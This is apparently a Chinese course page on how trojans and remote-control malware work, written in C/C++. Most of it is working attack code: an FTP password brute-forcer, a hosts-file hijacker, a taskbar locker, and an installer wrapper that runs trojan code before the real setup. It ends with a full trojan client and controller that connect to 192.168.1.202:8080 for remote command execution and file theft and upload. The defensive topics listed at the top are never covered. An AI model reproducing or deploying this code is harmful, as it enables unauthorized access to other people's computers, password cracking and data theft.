【课程简介】
C/C++语言是除了汇编之外,最接近底层的计算机语言,目前windows,linux,iOS,Android等主流操作系统都是用C/C++编写的,所以很多病毒、木马也都是用C/C++实现的。课程的目的就是通过C语言揭秘木马和各种远程控制软件的实现原理以及如何防护。
【课程知识点】
1、木马入侵系统的方式;
2、木马入侵到宿主目标后的关键行为分析;
3、可信任端口以及端口扫描技术;
4、远程控制的实现代码实现;
5、恶意代码中使用TCP、UDP协议与防火墙穿越技术;
6、360网络安全防护的实现原理。
穷举密码暴力破解ftp账户的密码:
#include <stdio.h>
#include <string.h>
#define CONTENT "open %s\nuser\n%s\n%s\nbye\n"
int write_file(const char *ip, const char *user, const char *passwd)
{
FILE *p = fopen("a.txt", "w");
if (p)
{
char buf[1024] = { 0 };
sprintf(buf, CONTENT, ip, user, passwd);
fputs(buf, p);
fclose(p);
return 0;//如果成功,返回0
}
return -1;//失败,-1
}
int main()
{
int i;
for (i = 0; i < 1000000; i++)//假设密码全部由数字组成
{
char pass[100] = { 0 };
sprintf(pass, "%06d", i);//格式化为字符串
if (write_file("192.168.101.138", "admin", pass) == 0)
{
FILE *p = _popen("ftp -n -s:a.txt", "r");
while (!feof(p))
{
char buf[1024] = { 0 };
fgets(buf, sizeof(buf), p);
if (strncmp(buf, "230", 3) == 0)//根据返回值进行判断 230 代表成功,
{
printf("pass:%s\n", pass);
return 0;
}
}
_pclose(p);
}
}
return 0;
}
功能函数:
锁死任务栏
// lockmask.cpp : 定义应用程序的入口点。
//
#include "stdafx.h"
#include "lockmask.h"
// 功能函数
/*
修改应用程序图标
vs:替换工程名.ico文件
QT:a.找到一张图片.ico,名字改为myapp.ico
b.创建文本文档myapp.rc。 内部添加 IDI_ICON1 ICON DISCARDABLE "myapp.ico"
c. 在myapp.pro文件最后加上RC_FILE=myapp.rc, 重新生成之后,就修改成功了;
*/
/*
vs2013辩词额不需要依赖库,同时兼容xp的项目
项目--属性--配置属性--常规--平台工具集--windwos xp
项目--属性--配置属性--c/c++ --代码生成--运行库--多线程(/MT).
*/
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <Windows.h>
#include <ShellAPI.h>
#pragma warning(disable:4996)
void getWinVersion()//得到win版本
{
OSVERSIONINFO a;
a.dwOSVersionInfoSize = sizeof(a);
GetVersionEx(&a);
}
int setHosts(const char *IP, const char *domain)//修改hosts文件
{
char s[100] = { 0 };
GetSystemDirectoryA(s, sizeof(s));//得到windows系统目录
char path[100] = { 0 };
sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
char content[1024] = { 0 };
sprintf(content, "%s %s", IP, domain);
FILE *p = fopen(path, "a");//打开hosts文件
if (p)
{
fputs(content, p);
fclose(p);
return 0;
}
return -1;
}
HWND getTask()//得到任务栏句柄
{
typedef HWND(WINAPI *PROCGETTASKMANWND)(void);//什么一个HWND func();类型的函数指针
PROCGETTASKMANWND GetTaskmanWindow;//定义函数指针变量
HMODULE hUser32 = GetModuleHandleA("user32");//引用user32.dll库
if (!hUser32)
return NULL;
GetTaskmanWindow = (PROCGETTASKMANWND)GetProcAddress(hUser32, "GetTaskmanWindow");
if (!GetTaskmanWindow)
return NULL;
HWND h = GetTaskmanWindow();
return GetParent(GetParent(h));
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
HWND h = getTask();
//EnableWindow(h, false);//将任务栏设置为不可用
EnableWindow(h, true);//将任务栏设置为可用
return 0;
}
安装程序加壳
// setupShell.cpp : 定义应用程序的入口点。
//
#include "stdafx.h"
#include "setupShell.h"
int SetupShell()//setup.exe安装程序加壳
{
STARTUPINFO si;
memset(&si, 0, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
PROCESS_INFORMATION pi;
memset(&pi, 0, sizeof(PROCESS_INFORMATION));
if (CreateProcess(TEXT("setup.dat"),
NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
return -1;
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
//这里是木马程序的代码
//
SetupShell();
return 0;
}
木马病毒攻击原理演示
木马服务端:
//gcc -o server server.c -L. -lmysock
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include "mysock.h"
//8192是8k
#define BUFSIZE 8192
void getfile(int sock, const char *buf)
{
char srcFile[256] = { 0 };
char destFile[256] = { 0 };
//得到用户输入的源文件名和目标文件名
sscanf(buf, "get %s %s", srcFile, destFile);
char cmd[1024] = { 0 };
sprintf(cmd, "get %s", srcFile);
tcp_send(sock, cmd, strlen(cmd));//将源文件名发
memset(cmd, 0, sizeof(cmd));
tcp_recv(sock, cmd, sizeof(cmd));//接收文件大小,格式为字符串
int len = 0;
sscanf(cmd, "%d", &len);//将文件大小转化为数字
//如果文件大于0个字节
if (len > 0)
{
FILE *p = fopen(destFile, "wb");//用写的方式打开目标文件
if (p)
{
char *content = (char *)malloc(len);
memset(content, 0, len);
//给目标回复OK,表示已经准备好,可以接收文件内容了
tcp_send(sock, "OK", 2);
//根据len的大小,循环接收数据,直到收到了len字节个数据,就停止接收
int rc = 0;
while (rc < len)
{
int aa = tcp_recv(sock, &content[rc], len - rc);
rc += aa;
}
//将收到的内容写入文件
fwrite(content, len, 1, p);
free(content);
fclose(p);
printf("success\n");
}
else
{
printf("open %s fail\n", destFile);
}
}
}
void putfile(int sock, const char *buf)
{
char srcFile[256] = { 0 };
char destFile[256] = { 0 };
//得到用户输入的源文件名和目标文件名
sscanf(buf, "put %s %s", srcFile, destFile);
//用读的方式打开源文件
FILE *p = fopen(srcFile, "rb");
if (p)
{
char cmd[1024] = { 0 };
int len = fseek(p, 0, SEEK_END);
len = ftell(p);//得到文件长度
if (len > 0)
{
//格式化字符串为put 目标文件名 文件大小
sprintf(cmd, "put %s %d", destFile, len);
//发送命令
tcp_send(sock, cmd, strlen(cmd));
memset(cmd, 0, sizeof(cmd));
//接收回复
tcp_recv(sock, cmd, sizeof(cmd));
//如果回复内容为OK,代表对方已经做好接收文件的准备
if (strcmp(cmd, "OK") == 0)
{
//根据文件大小,在堆中开启一个内容buffer
char *content = (char *)malloc(len);
//回到文件开始位置
fseek(p, 0, SEEK_SET);
//将文件内容一下读入content
fread(content, len, 1, p);
//发送文件内容,如果文件内容很大,那么循环发送,直到发送完毕
int rc = 0;
while (rc < len)
{
int aa = tcp_send(sock, &content[rc], len - rc);
rc += aa;
}
//释放堆内存内容
free(content);
}
}
fclose(p);
memset(cmd, 0, sizeof(cmd));
tcp_recv(sock, cmd, sizeof(cmd));
printf("%s\n", cmd);
}
else
{
printf("%s open fail, %s\n", srcFile, strerror(errno));
}
}
int main()
{
//建立一个TCP socket
int server_sock = create_socket(1);
if (server_sock == -1)
{
printf("create error %s\n", strerror(errno));
return 0;
}
//将socket绑定到8080端口
int rc = bind_socket(server_sock, 8080);
if (rc == -1)
{
printf("bind error %s\n", strerror(errno));
return 0;
}
//开始listen
rc = tcp_listen(server_sock);
if (rc == -1)
{
printf("listen error %s\n", strerror(errno));
return 0;
}
char IP[100] = { 0 };
//开始等待,直到有连接,返回远程连接的socket,IP为远程IP地址
int sock = tcp_accept(server_sock, IP);
if (sock <= 0)
{
printf("accept error %s\n", strerror(errno));
}
printf("from %s\n", IP);
char *buf = (char *)malloc(BUFSIZE);
while (1)
{
memset(buf, 0, BUFSIZE);
fgets(buf, BUFSIZE, stdin);
buf[strlen(buf) - 1] = 0;//去掉字符串最后的回车键
//如果用户输入的为ls或者exec执行以下代码
if ((strncmp(buf, "ls ", 3) == 0) || (strncmp(buf, "exec ", 5) == 0))
{
tcp_send(sock, buf, strlen(buf));//发送指令
memset(buf, 0, BUFSIZE);
tcp_recv(sock, buf, BUFSIZE);//接收返回结果
printf("%s\n", buf);//打印返回结果
}
else if (strncmp(buf, "get ", 4) == 0)//用户输入get命令
{
getfile(sock, buf);
}
else if (strncmp(buf, "put ", 4) == 0)//用户输入put命令
{
putfile(sock, buf);
}
else
{
printf("input command error,please input again\n");
}
}
free(buf);
close_socket(sock);//关闭连接
return 0;
}
木马客户端:
// file.cpp : 定义应用程序的入口点。
#include "stdafx.h"
#include "file.h"
#include "mysock.h"
#include <stdio.h>
#pragma comment(lib, "mysock.lib")
#pragma warning(disable:4996)
//8192是8k
#define BUFSIZE 8192
int exec(int sock, const char *cmd)
{
//执行指定的程序
int rc = WinExec(cmd, SW_NORMAL);
if (rc > 31)
{
//执行成功,回复success
tcp_send(sock, "success", 7);
return 0;
}
else
{
//执行失败,回复fail
tcp_send(sock, "fail", 4);
return -1;
}
}
int ls(int sock, const char *dir)
{
char szFile[256] = { 0 };
strcpy(szFile, dir);
if (szFile[strlen(szFile) - 1] == '\\')
{
strcat(szFile, "*.*");
}
else
{
strcat(szFile, "\\*.*");
}
//得到指定目录下的所有文件
WIN32_FIND_DATAA FindFileData;
HANDLE hFind = FindFirstFileA(szFile, &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
char tmp[1024] = { 0 };
sprintf(tmp, "open %s fail", dir);
tcp_send(sock, tmp, strlen(tmp));
return -1;
}
char *buf = (char *)malloc(BUFSIZE);
memset(buf, 0, BUFSIZE);
//循环得到每个文件,将结果放入buf
while (1)
{
memset(szFile, 0, sizeof(szFile));
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
sprintf(szFile, "%s\t<DIR>\n", FindFileData.cFileName);
}
else
{
sprintf(szFile, "%s\n", FindFileData.cFileName);;
}
strcat(buf, szFile);
if (!FindNextFileA(hFind, &FindFileData))
break;
}
//将得到的文件发送出去
tcp_send(sock, buf, strlen(buf));
free(buf);
FindClose(hFind);
return 0;
}
int put(int sock, const char *cmd)
{
char file[256] = { 0 };
int len = 0;
//得到文件名和文件长度
sscanf(cmd, "%s %d", file, &len);
//用写方式打开文件
FILE *p = fopen(file, "wb");
if (p && len)
{
//根据文件大小,在堆中分配一块内存
char *buf = (char *)malloc(len);//在堆里面开辟一个内存
memset(buf, 0, len);
//回复OK,表示已经做好接收文件的准备
tcp_send(sock, "OK", 2);
//接收数据,如果一次接收不完,循环接收
int rc = 0;
while (rc < len)
{
int aa = tcp_recv(sock, &buf[rc], len - rc);
rc += aa;
}
//将收到的内容写入文件
fwrite(buf, len, 1, p);
free(buf);
fclose(p);
//回复success,表示成功接收,并写入文件
tcp_send(sock, "success", 7);
return 0;
}
else
{
tcp_send(sock, "fail", 4);
return -1;
}
}
int get(int sock, const char *file)
{
//用读方式打开文件
FILE *p = fopen(file, "rb");
if (p)
{
int len = fseek(p, 0, SEEK_END);
len = ftell(p);//得到文件长度
char cmd[100] = { 0 };
sprintf(cmd, "%d", len);
//发送文件名和文件长度
tcp_send(sock, cmd, strlen(cmd));
memset(cmd, 0, sizeof(cmd));
//接收数据
tcp_recv(sock, cmd, sizeof(cmd));
//如果接收到的是OK,那么开始发送数据
if (strcmp(cmd, "OK") == 0)
{
//根据文件大小,在内存堆中分配内存
char *buf = (char*)malloc(len);
memset(buf, 0, len);
//回到文件开始位置
fseek(p, 0, SEEK_SET);
//将文件内容读取到buf中
fread(buf, len, 1, p);
//发送文件内容,如果一次发送不完,循环发送
int rc = 0;
while (rc < len)
{
int aa = tcp_send(sock, &buf[rc], len - rc);
rc += aa;
}
free(buf);
}
fclose(p);
return 0;
}
else
{
//如果文件打开失败,回复字符0
tcp_send(sock, "0", 1);
return -1;
}
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
init_socket();//初始化网络库
//建立一个TCP socket
int sock = create_socket(1);
if (sock == -1)
{
return 0;
}
//连接到目标服务器
int rc = tcp_connect(sock, "192.168.1.202", 8080);
if (rc == -1)
{
return 0;
}
char *buf = (char *)malloc(BUFSIZE);
//循环从目标服务器接收指令
while (1)
{
memset(buf, 0, BUFSIZE);
int rc = tcp_recv(sock, buf, BUFSIZE);//接收来自与服务端的消息
if (rc <= 0)
break;
//接收到exec指令
if (strncmp(buf, "exec ", 5) == 0)
{
exec(sock, &buf[5]);
}
//接收到ls指令
if (strncmp(buf, "ls ", 3) == 0)
{
ls(sock, &buf[3]);
}
//接收到put指令
if (strncmp(buf, "put ", 4) == 0)
{
put(sock, &buf[4]);
}
//接收到get指令
if (strncmp(buf, "get ", 4) == 0)
{
get(sock, &buf[4]);
}
}
free(buf);
close_socket(sock);
free_socket();
return 0;
}